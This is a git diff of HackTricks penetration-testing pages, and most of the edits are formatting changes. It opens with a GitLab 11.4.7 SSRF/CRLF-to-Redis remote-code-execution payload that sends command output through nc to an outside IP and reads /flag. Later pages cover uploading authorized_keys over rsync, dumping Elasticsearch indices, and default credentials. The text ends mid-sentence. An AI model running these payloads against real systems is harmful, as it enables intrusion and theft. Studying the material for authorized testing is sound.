vulnerability and a **CRLF**. The **SSRF** vulnerability was in the **import project from URL functionality** when creating a new project and allowed to access arbitrary IPs in the form \[0:0:0:0:0:ffff:127.0.0.1\] \(this will access 127.0.0.1\), and the **CRLF** vuln was exploited just **adding %0D%0A** characters to the **URL**. +In **Gitlab11.4.7** were discovered a **SSRF** vulnerability and a **CRLF**. The **SSRF** vulnerability was in the **import project from URL functionality** when creating a new project and allowed to access arbitrary IPs in the form \[0:0:0:0:0:ffff:127.0.0.1] (this will access 127.0.0.1), and the **CRLF** vuln was exploited just **adding %0D%0A** characters to the **URL**. Therefore, it was possible to **abuse these vulnerabilities to talk to the Redis instance** that **manages queues** from **gitlab** and abuse those queues to **obtain code execution**. The Redis queue abuse payload is: -```text +``` multi sadd resque:gitlab:queues system_hook_push lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}" @@ -236,9 +234,8 @@ Therefore, it was possible to **abuse these vulnerabilities to talk to the Redis And the **URL encode** request **abusing SSRF** and **CRLF** to execute a `whoami` and send back the output via `nc` is: -```text +``` git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git ``` -_For some reason \(as for the author of_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _where this info was took from\) the exploitation worked with the `git` scheme and not with the `http` scheme._ - +_For some reason (as for the author of_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _where this info was took from) the exploitation worked with the `git` scheme and not with the `http` scheme._ diff --git a/pentesting/69-udp-tftp.md b/pentesting/69-udp-tftp.md index 99648fde..973f1652 100644 --- a/pentesting/69-udp-tftp.md +++ b/pentesting/69-udp-tftp.md @@ -2,13 +2,13 @@ ## Basic Information -**TFTP** uses UDP port 69 and **requires no authentication**—clients read from, and write to servers using the datagram format outlined in RFC 1350. Due to deficiencies within the protocol \(namely lack of authentication and no transport security\), it is uncommon to find servers on the public Internet. Within large internal networks, however, TFTP is used to serve configuration files and ROM images to VoIP handsets and other devices. +**TFTP **uses UDP port 69 and **requires no authentication**—clients read from, and write to servers using the datagram format outlined in RFC 1350. Due to deficiencies within the protocol (namely lack of authentication and no transport security), it is uncommon to find servers on the public Internet. Within large internal networks, however, TFTP is used to serve configuration files and ROM images to VoIP handsets and other devices. -**TODO**: Provide information about what is a Bittorrent-tracker \(Shodan identifies this port with that name\). PLEASE, LET ME KNOW IF YOU HAVE SOME INFORMATION ABOUT THIS IN THE [**HackTricks telegram group**](https://t.me/peass) ****\(or in a github issue in [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)\). +**TODO**: Provide information about what is a Bittorrent-tracker (Shodan identifies this port with that name). PLEASE, LET ME KNOW IF YOU HAVE SOME INFORMATION ABOUT THIS IN THE [**HackTricks telegram group**](https://t.me/peass)** **(or in a github issue in [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)). **Default Port:** 69/UDP -```text +``` PORT STATE SERVICE REASON 69/udp open tftp script-set ``` @@ -39,4 +39,3 @@ client.upload("filename to upload", "/local/path/file", timeout=5) ### Shodan * `port:69` - diff --git a/pentesting/7-tcp-udp-pentesting-echo.md b/pentesting/7-tcp-udp-pentesting-echo.md index 6d872028..6c2a428f 100644 --- a/pentesting/7-tcp-udp-pentesting-echo.md +++ b/pentesting/7-tcp-udp-pentesting-echo.md @@ -2,19 +2,19 @@ ## Basic Information -An echo service is running on this host. The echo service was intended for testing and measurement purposes and may listen on both TCP and UDP protocols. The server sends back any data it receives, with no modification. -**It's possible to cause a denial of service by connecting the a echo service to the echo service on the same or another machine**. Because of the excessively high number of packets produced, the affected machines may be effectively taken out of service. +An echo service is running on this host. The echo service was intended for testing and measurement purposes and may listen on both TCP and UDP protocols. The server sends back any data it receives, with no modification.\ +**It's possible to cause a denial of service by connecting the a echo service to the echo service on the same or another machine**. Because of the excessively high number of packets produced, the affected machines may be effectively taken out of service.\ Info from [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/) -**Default Port:** 7/tcp/udp +**Default Port: **7/tcp/udp -```text +``` PORT STATE SERVICE 7/udp open echo 7/tcp open echo ``` -### Contact Echo service \(UDP\) +### Contact Echo service (UDP) ```bash nc -uvn 7 @@ -31,4 +31,3 @@ Hello echo #This is the response [Wikipedia echo](http://en.wikipedia.org/wiki/ECHO_protocol) [CA-1996-01 UDP Port Denial-of-Service Attack](http://www.cert.org/advisories/CA-1996-01.html) - diff --git a/pentesting/8089-splunkd.md b/pentesting/8089-splunkd.md index 79449884..1187442f 100644 --- a/pentesting/8089-splunkd.md +++ b/pentesting/8089-splunkd.md @@ -1,17 +1,18 @@ # 8089 - Splunkd -**Default port:** 8089 +**Default port: **8089 -```text +``` PORT STATE SERVICE VERSION 8089/tcp open http Splunkd httpd ``` In the following page you can find an explanation how this service can be abused to escalate privileges and obtain persistence: -{% page-ref page="../linux-unix/privilege-escalation/splunk-lpe-and-persistence.md" %} +{% content-ref url="../linux-unix/privilege-escalation/splunk-lpe-and-persistence.md" %} +[splunk-lpe-and-persistence.md](../linux-unix/privilege-escalation/splunk-lpe-and-persistence.md) +{% endcontent-ref %} ### Shodan * `Splunk build` - diff --git a/pentesting/873-pentesting-rsync.md b/pentesting/873-pentesting-rsync.md index 007b20d0..e87a79a2 100644 --- a/pentesting/873-pentesting-rsync.md +++ b/pentesting/873-pentesting-rsync.md @@ -2,13 +2,13 @@ ## **Basic Information** -> **rsync** is a utility for efficiently [transferring](https://en.wikipedia.org/wiki/File_transfer) and [synchronizing](https://en.wikipedia.org/wiki/File_synchronization) [files](https://en.wikipedia.org/wiki/Computer_file) between a computer and an external hard drive and across [networked](https://en.wikipedia.org/wiki/Computer_network) [computers](https://en.wikipedia.org/wiki/Computer) by comparing the [modification times](https://en.wikipedia.org/wiki/Timestamping_%28computing%29)and sizes of files.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) It is commonly found on [Unix-like](https://en.wikipedia.org/wiki/Unix-like) [operating systems](https://en.wikipedia.org/wiki/Operating_system). The rsync algorithm is a type of [delta encoding](https://en.wikipedia.org/wiki/Delta_encoding), and is used for minimizing network usage. [Zlib](https://en.wikipedia.org/wiki/Zlib) may be used for additional [data compression](https://en.wikipedia.org/wiki/Data_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) and [SSH](https://en.wikipedia.org/wiki/Secure_Shell) or [stunnel](https://en.wikipedia.org/wiki/Stunnel) can be used for security. +> **rsync** is a utility for efficiently [transferring](https://en.wikipedia.org/wiki/File_transfer) and [synchronizing](https://en.wikipedia.org/wiki/File_synchronization) [files](https://en.wikipedia.org/wiki/Computer_file) between a computer and an external hard drive and across [networked](https://en.wikipedia.org/wiki/Computer_network) [computers](https://en.wikipedia.org/wiki/Computer) by comparing the [modification times](https://en.wikipedia.org/wiki/Timestamping_\(computing\))and sizes of files.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) It is commonly found on [Unix-like](https://en.wikipedia.org/wiki/Unix-like) [operating systems](https://en.wikipedia.org/wiki/Operating_system). The rsync algorithm is a type of [delta encoding](https://en.wikipedia.org/wiki/Delta_encoding), and is used for minimizing network usage. [Zlib](https://en.wikipedia.org/wiki/Zlib) may be used for additional [data compression](https://en.wikipedia.org/wiki/Data_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) and [SSH](https://en.wikipedia.org/wiki/Secure_Shell) or [stunnel](https://en.wikipedia.org/wiki/Stunnel) can be used for security. From [wikipedia](https://en.wikipedia.org/wiki/Rsync). **Default port:** 873 -```text +``` PORT STATE SERVICE REASON 873/tcp open rsync syn-ack ``` @@ -17,7 +17,7 @@ PORT STATE SERVICE REASON ### Banner & Manual communication -```text +``` nc -vn 127.0.0.1 873 (UNKNOWN) [127.0.0.1] 873 (rsync) open @RSYNCD: 31.0 <--- You receive this banner with the version from the server @@ -51,20 +51,20 @@ msf> use auxiliary/scanner/rsync/modules_list rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730 ``` -Notice that it could be configured a shared name to not be listed. So there could be something **hidden**. -Notice that it may be some **shared names** being listed where you need some \(different\) **credentials** to access. So, not always all the listed names are going to be accessible and you will notice it if you receive an _**"Access Denied"**_ message when trying to access some of those. +Notice that it could be configured a shared name to not be listed. So there could be something **hidden**.\ +Notice that it may be some **shared names** being listed where you need some (different) **credentials **to access. So, not always all the listed names are going to be accessible and you will notice it if you receive an _**"Access Denied"**_ message when trying to access some of those. -### \*\*\*\*[**Brute force**](../brute-force.md#rsync) +### ****[**Brute force**](../brute-force.md#rsync) ### Manual Rsync -Once you have the **list of modules** you have a few different options depending on the actions you want to take and whether or not authentication is required. **If authentication is not required** you can **list** a shared folder: +Once you have the **list of modules** you have a few different options depending on the actions you want to take and whether or not authentication is required. **If authentication is not required **you can **list **a shared folder: ```bash rsync -av --list-only rsync://192.168.0.123/shared_name ``` -And **copy** all **files** to your local machine via the following command: +And **copy **all **files **to your local machine via the following command: ```bash rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared @@ -72,14 +72,14 @@ rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared This **recursively transfers all files from the directory** `` on the machine ``into the `./rsync_shared` directory on the local machine. The files are transferred in "archive" mode, which ensures that symbolic links, devices, attributes, permissions, ownerships, etc. are preserved in the transfer. -If you **have credentials** you can **list/download** a **shared name** using \(the password will be prompted\): +If you **have credentials **you can **list/download** a **shared name **using (the password will be prompted): ```bash rsync -av --list-only rsync://username@192.168.0.123/shared_name rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared ``` -You could also **upload** some **content** using rsync \(for example, in this case we can upload an _**authorized\_keys**_ file to obtain access to the box\): +You could also **upload **some **content **using rsync (for example, in this case we can upload an _**authorized_keys **_file to obtain access to the box): ```bash rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh @@ -94,4 +94,3 @@ find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \) ``` Inside the config file sometimes you could find the parameter _secrets file = /path/to/file_ and this file could contains usernames and passwords allowed to authenticate to rsyncd. - diff --git a/pentesting/9000-pentesting-fastcgi.md b/pentesting/9000-pentesting-fastcgi.md index fc5f8444..590f74ea 100644 --- a/pentesting/9000-pentesting-fastcgi.md +++ b/pentesting/9000-pentesting-fastcgi.md @@ -4,9 +4,11 @@ If you want to **learn what is FastCGI** check the following page: -{% page-ref page="pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md" %} +{% content-ref url="pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" %} +[disable_functions-bypass-php-fpm-fastcgi.md](pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md) +{% endcontent-ref %} -By default **FastCGI** run in **port** **9000** and isn't recognized by nmap. **Usually** FastCGI only listen in **localhost**. +By default **FastCGI **run in **port** **9000 **and isn't recognized by nmap. **Usually **FastCGI only listen in **localhost**. ## RCE @@ -33,4 +35,3 @@ done ``` or you can also use the following python script: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75) - diff --git a/pentesting/9100-pjl.md b/pentesting/9100-pjl.md index 3c810259..3caac843 100644 --- a/pentesting/9100-pjl.md +++ b/pentesting/9100-pjl.md @@ -1,14 +1,14 @@ -# 9100 - Pentesting Raw Printing \(JetDirect, AppSocket, PDL-datastream\) +# 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream) ## Basic Information -Raw printing is what we define as the process of making a connection to port 9100/tcp of a network printer. It is the default method used by CUPS and the Windows printing architecture to communicate with network printers as it is considered as ‘_the simplest, fastest, and generally the most reliable network protocol used for printers_’. Raw port 9100 printing, also referred to as JetDirect, AppSocket or PDL-datastream actually **is not a printing protocol by itself**. Instead **all data sent is directly processed by the printing device**, just like a parallel connection over TCP. In contrast to LPD, IPP and SMB, this can send direct feedback to the client, including status and error messages. Such a **bidirectional channel** gives us direct **access** to **results** of **PJL**, **PostScript** or **PCL** commands. Therefore raw port 9100 printing – which is supported by almost any network printer – is used as the channel for security analysis with PRET and PFT. \(From [here](http://hacking-printers.net/wiki/index.php/Port_9100_printing)\) +Raw printing is what we define as the process of making a connection to port 9100/tcp of a network printer. It is the default method used by CUPS and the Windows printing architecture to communicate with network printers as it is considered as ‘_the simplest, fastest, and generally the most reliable network protocol used for printers_’. Raw port 9100 printing, also referred to as JetDirect, AppSocket or PDL-datastream actually **is not a printing protocol by itself**. Instead **all data sent is directly processed by the printing device**, just like a parallel connection over TCP. In contrast to LPD, IPP and SMB, this can send direct feedback to the client, including status and error messages. Such a **bidirectional channel** gives us direct **access **to **results **of **PJL**, **PostScript **or **PCL **commands. Therefore raw port 9100 printing – which is supported by almost any network printer – is used as the channel for security analysis with PRET and PFT. (From [here](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing)) If you want to learn more about [**hacking printers read this page**](pentesting-printers/). **Default port:** 9100 -```text +``` 9100/tcp open jetdirect ``` @@ -58,9 +58,8 @@ This is the tool you want to use to abuse printers: ### Hacking Printers best reference -{% embed url="https://hacking-printers.net/wiki/index.php/File\_system\_access" %} +{% embed url="https://hacking-printers.net/wiki/index.php/File_system_access" %} ## **Shodan** * `pjl port:9100` - diff --git a/pentesting/9200-pentesting-elasticsearch.md b/pentesting/9200-pentesting-elasticsearch.md index 69bd1008..90c92497 100644 --- a/pentesting/9200-pentesting-elasticsearch.md +++ b/pentesting/9200-pentesting-elasticsearch.md @@ -4,11 +4,11 @@ From the [main page](https://www.elastic.co/what-is/elasticsearch) you can find some useful descriptions: -> Elasticsearch is a distributed, open source search and analytics engine for all types of data, including textual, numerical, geospatial, structured, and unstructured. Elasticsearch is built on Apache Lucene and was first released in 2010 by Elasticsearch N.V. \(now known as Elastic\). Known for its simple REST APIs, distributed nature, speed, and scalability, Elasticsearch is the central component of the Elastic Stack, a set of open source tools for data ingestion, enrichment, storage, analysis, and visualization. Commonly referred to as the ELK Stack \(after Elasticsearch, Logstash, and Kibana\), the Elastic Stack now includes a rich collection of lightweight shipping agents known as Beats for sending data to Elasticsearch. +> Elasticsearch is a distributed, open source search and analytics engine for all types of data, including textual, numerical, geospatial, structured, and unstructured. Elasticsearch is built on Apache Lucene and was first released in 2010 by Elasticsearch N.V. (now known as Elastic). Known for its simple REST APIs, distributed nature, speed, and scalability, Elasticsearch is the central component of the Elastic Stack, a set of open source tools for data ingestion, enrichment, storage, analysis, and visualization. Commonly referred to as the ELK Stack (after Elasticsearch, Logstash, and Kibana), the Elastic Stack now includes a rich collection of lightweight shipping agents known as Beats for sending data to Elasticsearch. ### What is an Elasticsearch index? -An Elasticsearch _index_ **is a collection of documents** that are related to each other. Elasticsearch stores data as JSON documents. Each document correlates a set of _keys_ \(names of fields or properties\) with their corresponding values \(strings, numbers, Booleans, dates, arrays of _values_, geolocations, or other types of data\). +An Elasticsearch _index_ **is a collection of documents** that are related to each other. Elasticsearch stores data as JSON documents. Each document correlates a set of _keys_ (names of fields or properties) with their corresponding values (strings, numbers, Booleans, dates, arrays of _values_, geolocations, or other types of data). Elasticsearch uses a data structure called an _inverted index_, which is designed to allow very fast full-text searches. An inverted index lists every unique word that appears in any document and identifies all of the documents each word occurs in. @@ -22,7 +22,7 @@ During the indexing process, Elasticsearch stores documents and builds an invert The protocol used to access Elasticsearch is **HTTP**. When you access it via HTTP you will find some interesting information: `http://10.10.10.115:9200/` -![](../.gitbook/assets/image%20%28131%29.png) +![](<../.gitbook/assets/image (264).png>) If you don't see that response accessing `/` see the following section. @@ -43,10 +43,10 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user" {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401} ``` -That will means that authentication is configured an **you need valid credentials** to obtain any info from elasticserach. Then, you can [**try to bruteforce it**](../brute-force.md#elasticsearch) ****\(it uses HTTP basic auth, so anything that BF HTTP basic auth can be used\). -Here you have a **list default usernames**: _**elastic** \(superuser\), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous_._ Older versions of Elasticsearch have the default password **changeme** for this user +That will means that authentication is configured an **you need valid credentials** to obtain any info from elasticserach. Then, you can [**try to bruteforce it**](../brute-force.md#elasticsearch)** **(it uses HTTP basic auth, so anything that BF HTTP basic auth can be used).\ +Here you have a **list default usernames**: _**elastic **(superuser), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system, _ \_anonymous_. _Older versions of Elasticsearch have the default password **changeme** for this user -```text +``` curl -X GET http://user:password@IP:9200/ ``` @@ -65,45 +65,45 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/" ### Elastic Info -Here are some endpoints that you can **access via GET** to **obtain** some **information** about elasticsearch: +Here are some endpoints that you can **access via GET** to **obtain **some **information **about elasticsearch: -| \_cat | /\_cluster | /\_security | -| :--- | :--- | :--- | -| /\_cat/segments | /\_cluster/allocation/explain | /\_security/user | -| /\_cat/shards | /\_cluster/settings | /\_security/privilege | -| /\_cat/repositories | /\_cluster/health | /\_security/role\_mapping | -| /\_cat/recovery | /\_cluster/state | /\_security/role | -| /\_cat/plugins | /\_cluster/stats | /\_security/api\_key | -| /\_cat/pending\_tasks | /\_cluster/pending\_tasks | | -| /\_cat/nodes | /\_nodes | | -| /\_cat/tasks | /\_nodes/usage | | -| /\_cat/templates | /\_nodes/hot\_threads | | -| /\_cat/thread\_pool | /\_nodes/stats | | -| /\_cat/ml/trained\_models | /\_tasks | | -| /\_cat/transforms/\_all | /\_remote/info | | -| /\_cat/aliases | | | -| /\_cat/allocation | | | -| /\_cat/ml/anomaly\_detectors | | | -| /\_cat/count | | | -| /\_cat/ml/data\_frame/analytics | | | -| /\_cat/ml/datafeeds | | | -| /\_cat/fielddata | | | -| /\_cat/health | | | -| /\_cat/indices | | | -| /\_cat/master | | | -| /\_cat/nodeattrs | | | -| /\_cat/nodes | | | +| \_cat | /\_cluster | /\_security | +| ------------------------------ | ----------------------------- | ------------------------ | +| /\_cat/segments | /\_cluster/allocation/explain | /\_security/user | +| /\_cat/shards | /\_cluster/settings | /\_security/privilege | +| /\_cat/repositories | /\_cluster/health | /\_security/role_mapping | +| /\_cat/recovery | /\_cluster/state | /\_security/role | +| /\_cat/plugins | /\_cluster/stats | /\_security/api_key | +| /\_cat/pending_tasks | /\_cluster/pending_tasks | | +| /\_cat/nodes | /\_nodes | | +| /\_cat/tasks | /\_nodes/usage | | +| /\_cat/templates | /\_nodes/hot_threads | | +| /\_cat/thread_pool | /\_nodes/stats | | +| /\_cat/ml/trained_models | /\_tasks | | +| /\_cat/transforms/\_all | /\_remote/info | | +| /\_cat/aliases | | | +| /\_cat/allocation | | | +| /\_cat/ml/anomaly_detectors | | | +| /\_cat/count | | | +| /\_cat/ml/data_frame/analytics | | | +| /\_cat/ml/datafeeds | | | +| /\_cat/fielddata | | | +| /\_cat/health | | | +| /\_cat/indices | | | +| /\_cat/master | | | +| /\_cat/nodeattrs | | | +| /\_cat/nodes | | | -These endpoints were [**taken from the documentation**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) where you can **find more**. +These endpoints were [**taken from the documentation**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) where you can **find more**.\ Also, if you access `/_cat` the response will contain the `/_cat/*` endpoints supported by the instance. -In `/_security/user` \(if auth enabled\) you can see which user has role `superuser`. +In `/_security/user` (if auth enabled) you can see which user has role `superuser`. ### Indices You can **gather all the indices** accessing `http://10.10.10.115:9200/_cat/indices?v` -```text +``` health status index uuid pri rep docs.count docs.deleted store.size pri.store.size green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 4kb 4kb yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb @@ -111,34 +111,34 @@ yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 ``` -To obtain **information about which kind of data is saved inside an index** you can access: `http://host:9200/` from example in this case `http://10.10.10.115:9200/bank` +To obtain** information about which kind of data is saved inside an index** you can access: `http://host:9200/` from example in this case `http://10.10.10.115:9200/bank` -![](../.gitbook/assets/image%20%28220%29.png) +![](<../.gitbook/assets/image (265).png>) ### Dump index -If you want to **dump all the contents** of an index you can access: `http://host:9200//_search?pretty=true` like `http://10.10.10.115:9200/bank/_search?pretty=true` +If you want to** dump all the contents** of an index you can access: `http://host:9200//_search?pretty=true` like `http://10.10.10.115:9200/bank/_search?pretty=true` -![](../.gitbook/assets/image%20%283%29.png) +![](<../.gitbook/assets/image (266).png>) -_Take a moment to compare the contents of the each document \(entry\) inside the bank index and the fields of this index that we saw in the previous section._ +_Take a moment to compare the contents of the each document (entry) inside the bank index and the fields of this index that we saw in the previous section._ -So, at this point you may notice that **there is a field called "total" inside "hits"** that indicates that **1000 documents were found** inside this index but only 10 were retried. This is because **by default there is a limit of 10 documents**. -But, now that you know that **this index contains 1000 documents**, you can **dump all of them** indicating the number of entries you want to dump in the **`size`** parameter: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd -_Note: If you indicate bigger number all the entries will be dumped anyway, for example you could indicate `size=9999` and it will be weird if there were more entries \(but you should check\)._ +So, at this point you may notice that** there is a field called "total" inside "hits"** that indicates that **1000 documents were found** inside this index but only 10 were retried. This is because **by default there is a limit of 10 documents**.\ +But, now that you know that **this index contains 1000 documents**, you can **dump all of them** indicating the number of entries you want to dump in the **`size`** parameter: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ +_Note: If you indicate bigger number all the entries will be dumped anyway, for example you could indicate `size=9999` and it will be weird if there were more entries (but you should check)._ ### Dump all -In order to dump all you can just go to the **same path as before but without indicating any index**`http://host:9200/_search?pretty=true` like `http://10.10.10.115:9200/_search?pretty=true` +In order to dump all you can just go to the **same path as before but without indicating any index**`http://host:9200/_search?pretty=true` like `http://10.10.10.115:9200/_search?pretty=true`\ Remember that in this case the **default limit of 10** results will be applied. You can use the `size` parameter to dump a **bigger amount of results**. Read the previous section for more information. ### Search -If you are looking for some information you can do a **raw search on all the indices** going to `http://host:9200/_search?pretty=true&q=` like in `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell` +If you are looking for some information you can do a** raw search on all the indices** going to `http://host:9200/_search?pretty=true&q=` like in `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell` -![](../.gitbook/assets/image%20%28256%29.png) +![](<../.gitbook/assets/image (267).png>) -If you want just to **search on an index** you can just **specify** it on the **path**: `http://host:9200//_search?pretty=true&q=` +If you want just to **search on an index **you can just **specify **it on the **path**: `http://host:9200//_search?pretty=true&q=` _Note that the q parameter used to search content **supports regular expressions**_ @@ -158,15 +158,15 @@ curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/j }' ``` -That cmd will create a **new index** called `bookindex` with a document of type `books` that has the attributes "_bookId_", "_author_", "_publisher_" and "_name_" +That cmd will create a **new index **called `bookindex` with a document of type `books` that has the attributes "_bookId_", "_author_", "_publisher_" and "_name_" Notice how the **new index appears now in the list**: -![](../.gitbook/assets/image%20%28192%29.png) +![](<../.gitbook/assets/image (268).png>) And note the **automatically created properties**: -![](../.gitbook/assets/image%20%28330%29.png) +![](<../.gitbook/assets/image (269).png>) ## Automatic Enumeration @@ -181,4 +181,3 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum ## Shodan * `port:9200 elasticsearch` - diff --git a/pentesting/cassandra.md b/pentesting/cassandra.md index adf6d4e0..bf1ca4ce 100644 --- a/pentesting/cassandra.md +++ b/pentesting/cassandra.md @@ -2,12 +2,12 @@ ## Basic Information -Apache Cassandra is a highly scalable, high-performance distributed database designed to handle large amounts of data across many commodity servers, providing high availability with no single point of failure. It is a type of NoSQL database. -In several cases you will find **cassandra accepting any credentials** \(as there aren't any configured\) and you will be able to enumerate the database. +Apache Cassandra is a highly scalable, high-performance distributed database designed to handle large amounts of data across many commodity servers, providing high availability with no single point of failure. It is a type of NoSQL database.\ +In several cases you will find **cassandra accepting any credentials** (as there aren't any configured) and you will be able to enumerate the database. **Default port:** 9042,9160 -```text +``` PORT STATE SERVICE REASON 9042/tcp open cassandra-native Apache Cassandra 3.10 or later (native protocol versions 3/v3, 4/v4, 5/v5-beta) 9160/tcp open cassandra syn-ack @@ -40,10 +40,9 @@ There aren't much options here and nmap doesn't obtain much info nmap -sV --script cassandra-info -p ``` -### \*\*\*\*[**Brute force**](../brute-force.md#cassandra)\*\*\*\* +### ****[**Brute force**](../brute-force.md#cassandra)**** ### **Shodan** -`port:9160 Cluster` +`port:9160 Cluster`\ ****`port:9042 "Invalid or unsupported protocol version"` - diff --git a/pentesting/ipsec-ike-vpn-pentesting.md b/pentesting/ipsec-ike-vpn-pentesting.md index d19279fb..7ab42822 100644 --- a/pentesting/ipsec-ike-vpn-pentesting.md +++ b/pentesting/ipsec-ike-vpn-pentesting.md @@ -2,19 +2,19 @@ ## Basic Information -IPsec is the most commonly used technology for both gateway-to-gateway \(LAN-to-LAN\) and host to gateway \(remote access\) enterprise VPN solutions. +IPsec is the most commonly used technology for both gateway-to-gateway (LAN-to-LAN) and host to gateway (remote access) enterprise VPN solutions. -**IKE is a type of ISAKMP** \(Internet Security Association Key Management Protocol\) implementation, which is a framework for authentication and key exchange. IKE establishes the security association \(SA\) between two endpoints through a three-phase process: +**IKE is a type of ISAKMP** (Internet Security Association Key Management Protocol) implementation, which is a framework for authentication and key exchange. IKE establishes the security association (SA) between two endpoints through a three-phase process: -* **Phase 1:** Establish a secure channel between 2 endpoints using a Pre-Shared Key \(PSK\) or certificates. It can use main mode \(3 pairs of messages\) or **aggresive** mode. -* **Phase1.5:** This is optional, is called Extended Authentication Phase and authenticates the user that is trying to connect \(user+password\). -* **Phase2:** Negotiates the parameter for the data security using ESP and AH. It can use a different algorithm than the one used in phase 1 \(Perfect Forward Secrecy \(PFS\)\). +* **Phase 1:** Establish a secure channel between 2 endpoints using a Pre-Shared Key (PSK) or certificates. It can use main mode (3 pairs of messages) or **aggresive** mode. +* **Phase1.5:** This is optional, is called Extended Authentication Phase and authenticates the user that is trying to connect (user+password). +* **Phase2:** Negotiates the parameter for the data security using ESP and AH. It can use a different algorithm than the one used in phase 1 (Perfect Forward Secrecy (PFS)). **Default port:** 500/udp ## **Discover** the service using nmap -```text +``` root@bt:~# nmap -sU -p 500 172.16.21.200 Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST Nmap scan report for 172.16.21.200 @@ -28,11 +28,11 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems) The IPSec configuration can be prepared only to accept one or a few transformations. A transformation is a combination of values. **Each transform** contains a number of attributes like DES or 3DES as the **encryption algorithm**, SHA or MD5 as the **integrity algorithm**, a pre-shared key as the **authentication type**, Diffie-Hellman 1 or 2 as the key **distribution algorithm** and 28800 seconds as the **lifetime**. -Then, the first thing that you have to do is **find a valid transformation**, so the server will talk to you. To do so, you can use the tool **ike-scan**. By default, Ike-scan works in main mode, and sends a packet to the gateway with an ISAKMP header and a single proposal with **eight transforms inside it**. +Then, the first thing that you have to do is** find a valid transformation**, so the server will talk to you. To do so, you can use the tool **ike-scan**. By default, Ike-scan works in main mode, and sends a packet to the gateway with an ISAKMP header and a single proposal with **eight transforms inside it**. Depending on the response you can obtain some information about the endpoint: -```text +``` root@bt:~# ike-scan -M 172.16.21.200 Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 172.16.21.200 Main Mode Handshake returned @@ -43,12 +43,12 @@ Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify ``` -As you can see in the previous response, there is a field called **AUTH** with the value **PSK**. This means that the vpn is configured using a preshared key \(and this is really good for 